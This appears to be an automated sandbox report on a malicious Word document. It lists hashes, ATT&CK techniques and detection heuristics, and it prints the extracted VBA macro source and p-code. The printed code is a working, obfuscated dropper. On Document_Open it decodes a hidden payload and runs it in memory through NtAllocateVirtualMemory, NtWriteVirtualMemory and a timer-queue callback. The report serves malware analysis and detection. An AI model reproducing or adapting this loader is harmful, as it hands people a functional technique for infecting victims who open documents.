Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f2dbdb12feb70f88…

MALICIOUS

Office (OLE)

251.0 KB Created: 2017-09-18 12:35:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 2c5270595fbbd9f08f1fa4e4bd80498f SHA-1: 10d7b609b9360d329687a451f4176f2de05b4582 SHA-256: f2dbdb12feb70f883e567a53d38c58081289134676c5f7ec09fefb031c559230
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains obfuscated VBA macros, including an auto-exec loader that uses GetObject and execution tokens, indicating a dropper functionality. The presence of a Document_Open macro and the 'Macro/content-enable lure' heuristic suggest it's designed to trick users into enabling macros. The ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6339976-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6339976-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set wdApp = GetObject(, "Word.Application")
    Set wdDoc = wdApp.ActiveDocument
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set wdApp = GetObject(, "Word.Application")
    Set wdDoc = wdApp.ActiveDocument
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Dim grasscovered As String
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50456 bytes
SHA-256: 05916a25fcd86beca4b666abd42f067f2aac4b9b4cf5c6a572d85191b3dd7ff1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True












Sub batting()
Dim furfuraceous As Variant
Dim limp As Integer
plum.carnallite.Value = Day(#12/5/2013#)
varday = decree = "empale"
ariidae = "hematoma"
giriama = bigchested
intended = "erectile"
pervious = "micelle"

respond = "hist"
bloodily = "flitch"
aulostomidae = "characteristically"
Set flunkey = plum.carnallite.SelectedItem
contraction = 74
cataleptic = 35841
buttondown = 446939
 Pmt 0, contraction, 36338, 29362, 3

fireirons = flunkey.Name
radiotelephone = 42 - 78 + 7880
cebuella = Right(fireirons, radiotelephone)
outmarch = aquamarine.sonship(cebuella)
interpretation = 91
cochlearius = 12902
impertinence = 587458
 Pmt 0, interpretation, 37843, 47065, 4

bow = "elaboration"
meaning = "palatability"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim pawky As Long
Dim ilmenite As LongPtr
Dim sustainability As LongPtr
Dim grade As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim aetobatus As Byte
Dim sustainability As Long
Dim cenotaph As Long
Dim ilmenite As Long
#End If
deciduous = 47 - 85 + 38
matronly = atopognosia
clothing = 54 - 80 + 4122
mannish = 42
mantleshelf = 5136
foible = 321832
 Pmt 0, mannish, 8830, 33686, 6

steganopus = "cuterebra"
bodied = "disheartening"
acquaint = myelitis
congratulations = 25
diis = 8066
dermatologic = 468622
 Pmt 0, congratulations, 16656, 40617, 8

scrutinizer = outmarch
togo = "albinism"
ilmenite = module1.claustrum(scrutinizer)
mastectomy = "bracteate"
barmaid = "attogram"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim advocation As String
Dim gunsmith As LongPtr
Dim hatches As LongPtr
Dim unwritten As LongPtr
boxing = 6 - 46 + 2104
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim gunsmith As Long
toujours = 106 - 69 + 744
Dim hatches As Long
Dim unwritten As Long
boxing = toujours + 3459

#End If
Dim nimble As String
Dim falsifier As Integer
gunsmith = 66 - 38 - 28
sustainability = ilmenite + boxing
hatches = 26 - 70 + 201571
unwritten = 34 - 2 + 3468
holograph = afril(hatches, gunsmith, sustainability)
couples = 53
chlorococcales = 31832
porkpie = 222986
 Pmt 0, couples, 3306, 42643, 7

End Sub

Private Sub Document_Open()
Dim grasscovered As String
Dim against As Byte
blip = "ankle"
batting
guck = 10 + 1
adipose = 22250 + 9
criminis = 280950 + 4
 Pmt 0, guck, 30413, 30161, 3
End Sub




Attribute VB_Name = "inquinat"
'  And hit me like a hurricane'  I was doing alright
#If (17 * 2 - 3) > 2 And (Win64) > (60 - 5 * 12) * 2 Then
'  I was doing alright
'  Started talking bout us again
Public Declare PtrSafe Function sneaking Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal republicanism As Any, ByVal casus As Any, ByVal pternohyla As Any, ByVal hurtle As Any, ByVal birth As Any) As LongPtr
'  But just your sight had my heart storming
'  If I woulda just layed my drink down
Public Declare PtrSafe Function hoover Lib "Shlwapi.dll" Alias "CreateFileWrapW" (averruncate As LongPtr) As LongPtr
'  We locked eyes over whiskey on ice
'  And walked out
Public Declare PtrSafe Function cypriot Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal vedic As Any, coaid As Any, slightingly As Any, encircle As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  I was doing alright
Public Declare PtrSafe Function conglobation Lib "Kernel32.dll" Alias "CreateEventW" (ByVal gangrene As LongPtr, sudan As LongPtr, hypotenuse As LongPtr, docendo As LongPtr, commemorate As LongPtr) As Long
'  But you rolled in with your hair in the wind
'  If I woulda just layed my drink down
Public Declare PtrSafe Function germanism Lib "ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (unimitated As LongPtr, potsherd As LongPtr, ByVal bedroom As LongPtr, sunstoneByVal As LongPtr, helleborine As LongPtr, ByVal cabala As LongPtr) As LongPtr
'  But you rolled in with your hair in the wind
'  I wouldnt be in my truck
Public Declare PtrSafe Function besprinkle Lib "Kernel32" Alias "CreateTimerQueueTimer" (cattleship As Any, ByVal kooshti As Any, ByVal camber As Any, ByVal gnawing As Any, ByVal thriftshop As Any, ByVal expiry As Any, ByVal bluewing As Any) As Long
'  And walked out
'  But you rolled in with your hair in the wind
Public Declare PtrSafe Function desespoic Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (photolithography As Any) As LongPtr
'  But just your sight had my heart storming
'  You wrecked my whole world when you came

'  And hit me like a hurricane'  But just your sight had my heart storming
#End If
'  Knew it was gonna be a long night
'  You wrecked my whole world when you came
#If (17 * 2 - 3) > 2 And Not ((60 - 5 * 12) * 2 < (Win64)) Then
'  Hit me like a hurricane
'  From the moment when
Public Declare Function sneaking Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal federalists As Any, ByVal tutor As Any, ByVal appreciative As Any, ByVal hopefully As Any, ByVal tolerate As Any) As Long
'  You wrecked my whole world when you came
'  I was doing alright
Public Declare Function germanism Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (appealable As Long, ama As Long, ByVal beglerbeg As Long, kryptonByVal As Long, figlia As Long, ByVal inoffensively As Long) As Long
'  And hit me like a hurricane
'  But you rolled in with your hair in the wind
Public Declare Function medecine Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (etiolated As Any) As Long
'  I was doing alright
'  Rain was driving, thunder, lightning
Public Declare Function besprinkle Lib "Kernel32" Alias "CreateTimerQueueTimer" (sparrow As Any, ByVal migratory As Any, ByVal hothouse As Any, ByVal booked As Any, ByVal shortness As Any, ByVal culdoscopy As Any, ByVal flobert As Any) As Long
'  We locked eyes over whiskey on ice
'  From the moment when
Public Declare Function borders Lib "Kernel32.dll" Alias "CreateEventW" (ByVal palmar As Long, heliographic As Long, monarchism As Long, equivoque As Long, cheeseboard As Long) As Long
'  Rain was driving, thunder, lightning
'  And hit me like a hurricane
Public Declare Function mameluke Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal lenitive As Any, bitchery As Any, bishopry As Any, arthromere As Any) As Long
'  I was doing alright
'  The moon went hiding, stars quit shining
#End If
Sub InsertText()
Dim wdApp As Word.Application
Dim wdDoc As Document
Dim wdSln As Selection

Set wdApp = GetObject(, "Word.Application")
Set wdDoc = wdApp.ActiveDocument
Set wdSln = wdApp.Selection

wdDoc.Application.Options.Overtype = False
With wdSln
If .Type = wdSelectionIP Then
.TypeText ("Inserting at insertion point. ")
ElseIf .Type = wdSelectionNormal Then
If wdApp.Options.ReplaceSelection Then
.Collapse Direction:=wdCollapseStart
End If
.TypeText ("Inserting before a text block. ")
End If
End With
Set wdApp = Nothing
Set wdDoc = Nothing
End Sub
'  And hit me like a hurricane
Function afril(lst, pirs, lky)
'  You wrecked my whole world when you came
#If (17 * 2 - 3) > 2 And ((60 - 5 * 12) * 2 < (Win64)) Then
Dim pitbuls As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (17 * 2 - 3) > 2 And Not ((60 - 5 * 12) * 2 < (Win64)) Then
Dim pitbuls As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
pitbuls = pirs
deble = lky
dan2 = besprinkle(lst, pitbuls, deble, pitbuls, pitbuls, pitbuls, pitbuls)
End Function


Attribute VB_Name = "plum"
Attribute VB_Base = "0{624D1208-B953-4164-BE48-1B82820699FF}{06FB4691-1B25-48C0-8F8A-02838FFBF522}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "aquamarine"

Function collins(chambray, grandchildren, fieldstone)
Select Case fieldstone
Case 26 + (10 / 2 - 5)
collins = chambray \ grandchildren
Case 36 + (5 - 3) / 2 - 1
collins = chambray And grandchildren
Case 44 + (56 / 7 - 4 * 2)
collins = chambray * grandchildren
End Select
End Function
Function unpadded(altitudinal)
unpadded = AscW(altitudinal)
End Function
Sub num()
With Selection
If .Columns.Count > 1 And .Rows.Count > 1 Then
MsgBox "Please select cells in only one row " _
& "or only one column."
End
Else
If .Cells.Count > 1 Then
If .Columns.Count > 1 Then
.Cells.Delete ShiftCells:=wdDeleteCellsShiftUp
Else
.Cells.Delete ShiftCells:=wdDeleteCellsShiftLeft
End If
Else
.Cells.Delete ShiftCells:=wdDeleteCellsShiftLeft
End If
End If
End With
End Sub

Function sonship(part) As String
Dim lapin As String
Dim hagiographa(63) As Long
undoing = arrowhead \ 405

Dim prokaryote(63) As Long
Dim informing As Long
Dim multure(63) As Long
Dim follows As Byte

Dim compliant() As Byte
Dim collide As Long
Dim commendatio As Long
Dim pilaf As Long
Dim plethodon As Variant

Dim blastopore As Integer

hightop = arrowhead \ 299

Dim dispersed As Integer
Dim fornicator As Variant

Dim abatement(6962) As Byte
facto = "rhinal"

bodyguard = 47 - 97 + 114
priestridden = 107 - 77 + 4002
obsession = 79 - 31 + 207
explication = 121 - 15 - 43
airdock = 88 - 90 + 262146
Dim prizeman As Long

Dim forbidding As Byte

Dim paycheck As Long

polyvinylformaldehyde = 65 - 37 + 16515044
interchurch = 18 - 34 + 4112
equality = 79 - 87 + 65288
priceless = 75 - 56 + 237
congruence = 128 - 3 + 16711555
avestan = 120 - 81 + 65497
corroding = 62 - 117 + 258103
Dim dignitaries As Byte
notophthalmus = 93 - 50 - 43
audacious = 67 - 49 + 7825
Dim arose() As Byte
Dim decrepitude As Byte
Dim thyreophora As String
arose = VBA.StrConv(part, 128)
Dim candidature As Variant
burying = 120
conto = 36216
quiff = 559534
 Pmt 0, burying, 17240, 38166, 2

bhadon = 7843
daucus = vbKeyShift - 12
For compeer = 0 To bhadon
If compeer Mod 2 = 0 Then
arose(compeer) = arose(compeer) - daucus
Else
arose(compeer) = arose(compeer) - (daucus - 1)
End If
Next compeer
sumatran = 115
triggerhappy = 12048
forgery = 552546
 Pmt 0, sumatran, 11470, 58940, 4

dispersed = 0
ampulla = 70 - 44 - 26
detractory = 28 - 23 + 38
arcadic = acquittal
For informing = (7 - 7) * 1 To (50 + 13) * (5 - 4)
multure(informing) = collins(informing, bodyguard, 44)
hagiographa(informing) = collins(informing, interchurch, 44)
prokaryote(informing) = collins(informing, airdock, 44)
Next informing
achlorhydria = 118
puerisque = 13586
cantabile = 329477
 Pmt 0, achlorhydria, 19015, 17272, 5

compliant = arose
cyanosis = 90 - 85 - 1
overcome = 9
axiomatic = 12483
goldcolored = 483606
 Pmt 0, overcome, 4009, 18018, 6

antigen = 9 - 33 + 27
hightop = Rnd(270)

arrowhead = Fix(97)

daub = antigen + 1
roadstead = 16 - 93 + 79
For collide = 0 To bhadon
azoturia = compliant(collide)
motivated = compliant(collide + 2)
obliged = hagiographa(arcadic(compliant(collide + 1)))
boeotian = multure(arcadic(motivated)) + arcadic(compliant(collide + antigen))
pilaf = prokaryote(arcadic(azoturia)) + obliged + boeotian
informing = collins(pilaf, congruence, 36)
abatement(commendatio) = collins(informing, avestan, 26)
informing = collins(pilaf, equality, 36)
abatement(commendatio + 1) = collins(informing, priceless, 26)
abatement(commendatio + roadstead) = collins(pilaf, obsession, 36)
commendatio = commendatio + roadstead + 1
collide = collide + 3
Next
sonship = abatement
End Function

Function acquittal()
Dim britannic(255) As Byte
steeple = 120 - 98 + 43
Do While (steeple <= 90 + 1)
britannic(steeple) = steeple - 65
steeple = steeple + 1
Loop
steeple = 48
Do While (steeple <= 50 + 8)
britannic(steeple) = steeple + 4
steeple = steeple + 1
Loop
steeple = 97
Do While (steeple <= 120 + 3)
britannic(steeple) = steeple - 71
steeple = steeple + 1
Loop
britannic(47) = 63
steeple = 43
britannic(steeple) = 60 + 2
acquittal = britannic
End Function


Attribute VB_Name = "module1"
Sub range()
Dim rngFirstList As range
Set rngFirstList = ActiveDocument.Lists(1).range
ActiveDocument.Windows(1).ScrollIntoView Obj:=rngFirstList, Start:=False
rngFirstList.Select
Selection.Collapse Direction:=wdCollapseEnd
Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdMove
End Sub
Function claustrum(plantal)
Dim stockfish As Variant
Dim aesthetically As String
Dim tetracycline As Variant
Dim ambassador As String
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim cimetidine As Long
Dim avicennia As LongPtr
nimrod = 110 - 119 + 17
Dim lasciviency As LongPtr
Dim choler As Variant
Dim commonness As String
Dim designed As LongPtr
Dim microhylidae As Variant
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim avicennia As Long
nimrod = 15 - 40 + 29
Dim lasciviency As Long
Dim designed As Long
#End If
conspicuousness = VarPtr(avicennia)
ceratotherium = armistice(conspicuousness, VarPtr(plantal) + 8, nimrod)
bunched = 54 - 89 + 34
lasciviency = 25 - 110 + 85
cryptotermes = 118 - 39 - 79
designed = 115 - 98 + 9315
apopemptic = 40 - 108 + 4164
numerous = 98 - 64 + 30
repertorium = germanism(ByVal bunched, lasciviency, ByVal cryptotermes, designed, ByVal apopemptic, ByVal numerous)
undoing = hightop Or 244

facto = "disregard"

armistice lasciviency, avicennia, 31 - 56 + 5908
mistyeyed = 114
tepefaction = 21567
branded = 513056
 Pmt 0, mistyeyed, 15620, 28263, 2

claustrum = lasciviency
End Function
Function armistice(ash, macrorhamphosidae, ischigualastia)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim choux As Byte
Dim barbados As String
Dim hottentot As LongPtr
Dim affably As LongPtr
Dim lenten As LongPtr
Dim axiological As Variant
Dim pawky As LongPtr
Dim dickens As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim affably As Long
Dim vega As Long
Dim hottentot As Long
Dim discussion As Integer
Dim pawky As Long
Dim marquis As Variant
Dim lenten As Long
Dim amyxia As Byte
Dim dickens As Long
Dim financially As Integer
Dim carcharhinus As Variant
#End If
undoing = hightop Or 468
cacography = facto
affably = ash
dickens = ischigualastia
facto = "nube"
pawky = macrorhamphosidae
belfast = 57
gastronomic = 27155
apalachicola = 170068
 Pmt 0, belfast, 17986, 27854, 8

hightop = undoing And 180
hottentot = 62 - 108 + 45
sneaking ByVal hottentot, affably, pawky, dickens, lenten
arrowhead = Math.Round(488)
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2304D772-6896-41B7-9C92-35FA5EA79BFC}{9964B312-8E31-40E8-BDF5-5D09C5A1B651}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/0d790a02524a4162b7f1468103ea1251.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11217 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' 	FuncDefn (Sub batting())
' Line #13:
' 	Dim 
' 	VarDefn furfuraceous (As Variant)
' Line #14:
' 	Dim 
' 	VarDefn limp (As Integer)
' Line #15:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld plum 
' 	MemLd carnallite 
' 	MemSt Value 
' Line #16:
' 	Ld decree 
' 	LitStr 0x0006 "empale"
' 	Eq 
' 	St varday 
' Line #17:
' 	LitStr 0x0008 "hematoma"
' 	St ariidae 
' Line #18:
' 	Ld bigchested 
' 	St giriama 
' Line #19:
' 	LitStr 0x0008 "erectile"
' 	St intended 
' Line #20:
' 	LitStr 0x0007 "micelle"
' 	St pervious 
' Line #21:
' Line #22:
' 	LitStr 0x0004 "hist"
' 	St respond 
' Line #23:
' 	LitStr 0x0006 "flitch"
' 	St bloodily 
' Line #24:
' 	LitStr 0x0012 "characteristically"
' 	St aulostomidae 
' Line #25:
' 	SetStmt 
' 	Ld plum 
' 	MemLd carnallite 
' 	MemLd SelectedItem 
' 	Set flunkey 
' Line #26:
' 	LitDI2 0x004A 
' 	St contraction 
' Line #27:
' 	LitDI4 0x8C01 0x0000 
' 	St cataleptic 
' Line #28:
' 	LitDI4 0xD1DB 0x0006 
' 	St buttondown 
' Line #29:
' 	LitDI2 0x0000 
' 	Ld contraction 
' 	LitDI4 0x8DF2 0x0000 
' 	LitDI2 0x72B2 
' 	LitDI2 0x0003 
' 	ArgsCall Pmt 0x0005 
' Line #30:
' Line #31:
' 	Ld flunkey 
' 	MemLd Name 
' 	St fireirons 
' Line #32:
' 	LitDI2 0x002A 
' 	LitDI2 0x004E 
' 	Sub 
' 	LitDI2 0x1EC8 
' 	Add 
' 	St radiotelephone 
' Line #33:
' 	Ld fireirons 
' 	Ld radiotelephone 
' 	ArgsLd Right 0x0002 
' 	St cebuella 
' Line #34:
' 	Ld cebuella 
' 	Ld module1 
' 	ArgsMemLd sonship 0x0001 
' 	St outmarch 
' Line #35:
' 	LitDI2 0x005B 
' 	St interpretation 
' Line #36:
' 	LitDI2 0x3266 
' 	St cochlearius 
' Line #37:
' 	LitDI4 0xF6C2 0x0008 
' 	St impertinence 
' Line #38:
' 	LitDI2 0x0000 
' 	Ld interpretation 
' 	LitDI4 0x93D3 0x0000 
' 	LitDI4 0xB7D9 0x0000 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #39:
' Line #40:
' 	LitStr 0x000B "elaboration"
' 	St bow 
' Line #41:
' 	LitStr 0x000C "palatability"
' 	St meaning 
' Line #42:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #43:
' 	Dim 
' 	VarDefn pawky (As Long)
' Line #44:
' 	Dim 
' 	VarDefn ilmenite (As Ptr)
' Line #45:
' 	Dim 
' 	VarDefn sustainability (As Ptr)
' Line #46:
' 	Dim 
' 	VarDefn grade (As String)
' Line #47:
' 	LbMark 
' 	LbEndIf 
' Line #48:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #49:
' 	Dim 
' 	VarDefn aetobatus (As Byte)
' Line #50:
' 	Dim 
' 	VarDefn sustainability (As Long)
' Line #51:
' 	Dim 
' 	VarDefn cenotaph (As Long)
' Line #52:
' 	Dim 
' 	VarDefn ilmenite (As Long)
' Line #53:
' 	LbMark 
' 	LbEndIf 
' Line #54:
' 	LitDI2 0x002F 
' 	LitDI2 0x0055 
' 	Sub 
' 	LitDI2 0x0026 
' 	Add 
' 	St deciduous 
' Line #55:
' 	Ld atopognosia 
' 	St matronly 
' Line #56:
' 	LitDI2 0x0036 
' 	LitDI2 0x0050 
' 	Sub 
' 	LitDI2 0x101A 
' 	Add 
' 	St clothing 
' Line #57:
' 	LitDI2 0x002A 
' 	St mannish 
' Line #58:
' 	LitDI2 0x1410 
' 	St mantleshelf 
' Line #59:
' 	LitDI4 0xE928 0x0004 
' 	St foible 
' Line #60:
' 	LitDI2 0x0000 
' 	Ld mannish 
' 	LitDI2 0x227E 
' 	LitDI4 0x8396 0x0000 
' 	LitDI2 0x0006 
' 	ArgsCall Pmt 0x0005 
' Line #61:
' Line #62:
' 	LitStr 0x0009 "cuterebra"
' 	St steganopus 
' Line #63:
' 	LitStr 0x000D "disheartening"
' 	St bodied 
' Line #64:
' 	Ld myelitis 
' 	St acquaint 
' Line #65:
' 	LitDI2 0x0019 
' 	St congratulations 
' Line #66:
' 	LitDI2 0x1F82 
' 	St diis 
' Line #67:
' 	LitDI4 0x268E 0x0007 
' 	St dermatologic 
' Line #68:
' 	LitDI2 0x0000 
' 	Ld congratulations 
' 	LitDI2 0x4110 
' 	LitDI4 0x9EA9 0x0000 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #69:
' Line #70:
' 	Ld outmarch 
' 	St scrutinizer 
' Line #71:
' 	LitStr 0x0008 "albinism"
' 	St togo 
' Line #72:
' 	Ld scrutinizer 
' 	Ld _B_var_apalachicola 
' 	ArgsMemLd claustrum 0x0001 
' 	St ilmenite 
' Line #73:
' 	LitStr 0x0009 "bracteate"
' 	St mastectomy 
' Line #74:
' 	LitStr 0x0008 "attogram"
' 	St barmaid 
' Line #75:
' 	LbMark 
' 	LitDI2 0x0003 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0005 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0008 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #76:
' 	Dim 
' 	VarDefn advocation (As String)
' Line #77:
' 	Dim 
' 	VarDefn gunsmith (As Ptr)
' Line #78:
' 	Dim 
' 	VarDefn hatches (As Ptr)
' Line #79:
' 	Dim 
' 	VarDefn unwritten (As Ptr)
' Line #80:
' 	LitDI2 0x0006 
' 	LitDI2 0x002E 
' 	Sub 
' 	LitDI2 0x0838 
' 	Add 
' 	St boxing 
' Line #81:
' 	LbMark 
' 	LbEndIf 
' Line #82:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #83:
' 	Dim 
' 	VarDefn gunsmith (As Long)
' Line #84:
' 	LitDI2 0x006A 
' 	LitDI2 0x0045 
' 	Sub 
' 	LitDI2 0x02E8 
' 	Add 
' 	St toujours 
' Line #85:
' 	Dim 
' 	VarDefn hatches (As Long)
' Line #86:
' 	Dim 
' 	VarDefn unwritten (As Long)
' Line #87:
' 	Ld toujours 
' 	LitDI2 0x0D83 
' 	Add 
' 	St boxing 
' Line #88:
' Line #89:
' 	LbMark 
' 	LbEndIf 
' Line #90:
' 	Dim 
' 	VarDefn nimble (As String)
' Line #91:
' 	Dim 
' 	VarDefn falsifier (As Integer)
' Line #92:
' 	LitDI2 0x0042 
' 	LitDI2 0x0026 
' 	Sub 
' 	LitDI2 0x001C 
' 	Sub 
' 	St gunsmith 
' Line #93:
' 	Ld ilmenite 
' 	Ld boxing 
' 	Add 
' 	St sustainability 
' Line #94:
' 	LitDI2 0x001A 
' 	LitDI2 0x0046 
' 	Sub 
' 	LitDI4 0x1363 0x0003 
' 	Add 
' 	St hatches 
' Line #95:
' 	LitDI2 0x0022 
' 	LitDI2 0x0002 
' 	Sub 
' 	LitDI2 0x0D8C 
' 	Add 
' 	St unwritten 
' Line #96:
' 	Ld hatches 
' 	Ld gunsmith 
' 	Ld sustainability 
' 	ArgsLd aquamarine 0x0003 
' 	St holograph 
' Line #97:
' 	LitDI2 0x0035 
' 	St couples 
' Line #98:
' 	LitDI2 0x7C58 
' 	St chlorococcales 
' Line #99:
' 	LitDI4 0x670A 0x0003 
' 	St porkpie 
' Line #100:
' 	LitDI2 0x0000 
' 	Ld couples 
' 	LitDI2 0x0CEA 
' 	LitDI4 0xA693 0x0000 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #101:
' Line #102:
' 	EndSub 
' Line #103:
' Line #104:
' 	FuncDefn (Sub Document_Open())
' Line #105:
' 	Dim 
' 	VarDefn grasscovered (As String)
' Line #106:
' 	Dim 
' 	VarDefn against (As Byte)
' Line #107:
' 	LitStr 0x0005 "ankle"
' 	St blip 
' Line #108:
' 	ArgsCall batting 0x0000 
' Line #109:
' 	LitDI2 0x000A 
' 	LitDI2 0x0001 
' 	Add 
' 	St guck 
' Line #110:
' 	LitDI2 0x56EA 
' 	LitDI2 0x0009 
' 	Add 
' 	St adipose 
' Line #111:
' 	LitDI4 0x4976 0x0004 
' 	LitDI2 0x0004 
' 	Add 
' 	St criminis 
' Line #112:
' 	LitDI2 0x0000 
' 	Ld guck 
' 	LitDI2 0x76CD 
' 	LitDI2 0x75D1 
' 	LitDI2 0x0003 
' 	ArgsCall Pmt 0x0005 
' Line #113:
' 	EndSub 
' Line #114:
' Line #115:
' Line #116:
…